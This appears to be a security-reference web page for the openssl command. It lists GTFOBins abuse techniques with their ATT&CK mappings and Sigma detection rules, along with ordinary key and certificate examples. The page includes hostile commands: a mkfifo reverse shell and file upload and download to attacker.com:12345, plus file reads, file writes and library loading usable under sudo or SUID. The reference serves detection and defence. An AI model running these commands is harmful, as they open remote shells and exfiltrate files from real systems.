Ceplin Command Identifier

Identifier / Programs / Linux and Unix

openssl

OpenSSL cryptographic toolkit. Some subcommands such as req have their own usage documentation. tldr-pages

GTFOBins download, file-read, file-write, library-load, reverse-shell, upload 3 Sigma rules name it 3 ATT&CK techniques 7 documented commands

Opens the identifier with your command. It is read in your browser and sent nowhere.

How openssl is abused

documented by GTFOBins

download T1105 Ingress Tool Transfer

s_client

-quiet
-connect

file-read

enc

-in

file-write

enc

-out

file-write

enc

-in
-out

library-load

req

-engine

reverse-shell T1059.004 Command and Scripting Interpreter: Unix Shell

s_client

-i
-quiet
-connect

upload

s_client

-quiet
-connect

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for openssl.

7 documented commands

from GTFOBins, each read by the identifier

download unprivileged, with sudo, as SUID

openssl s_client -quiet -connect attacker.com:12345 >/path/to/output-file
Identify

file-read unprivileged, with sudo, as SUID

openssl enc -in /path/to/input-file
Identify

file-write unprivileged, with sudo, as SUID

echo DATA | openssl enc -out /path/to/output-file
Identify

file-write unprivileged, with sudo, as SUID

openssl enc -in /path/to/input-file -out /path/to/output-file
Identify

library-load unprivileged, with sudo, as SUID

openssl req -engine ./lib.so
Identify

reverse-shell unprivileged, with sudo, as SUID

The shell process is not spawn by openssl.

mkfifo /path/to/temp-socket
/bin/sh -i </path/to/temp-socket 2>&1 | openssl s_client -quiet -connect attacker.com:12345 >/path/to/temp-socket
Identify

upload unprivileged, with sudo, as SUID

openssl s_client -quiet -connect attacker.com:12345 </path/to/input-file
Identify

None of the 7 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for openssl. The identifier reads the line of each that runs openssl.

What detects it

Sigma process creation rules
highUNC4841 - SSL Certificate Exfiltration Via OpensslNasreddine Bencherchali (Nextron Systems)
mediumPayload Decoded and Decrypted via Built-in UtilitiesTim Rauch (rule), Elastic (idea)
mediumSuspicious Execution via macOS Script EditorTim Rauch (rule), Elastic (idea)
T1059.004Command and Scripting Interpreter: Unix Shell
T1105Ingress Tool Transfer
T1140Deobfuscate/Decode Files or Information

Everyday use

from tldr-pages, CC BY 4.0

Generate a private key and encrypt the output file using AES-256

openssl genpkey -algorithm rsa -out path/to/private.key -aes256Identify

Generate the corresponding public key from the private key private.key using rsa

openssl rsa -in path/to/private.key -pubout -out path/to/public.keyIdentify

Generate a self-signed certificate valid for a specified number of days (365)

openssl req -new -x509 -key path/to/private.key -out path/to/certificate.crt -days 365Identify

None of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.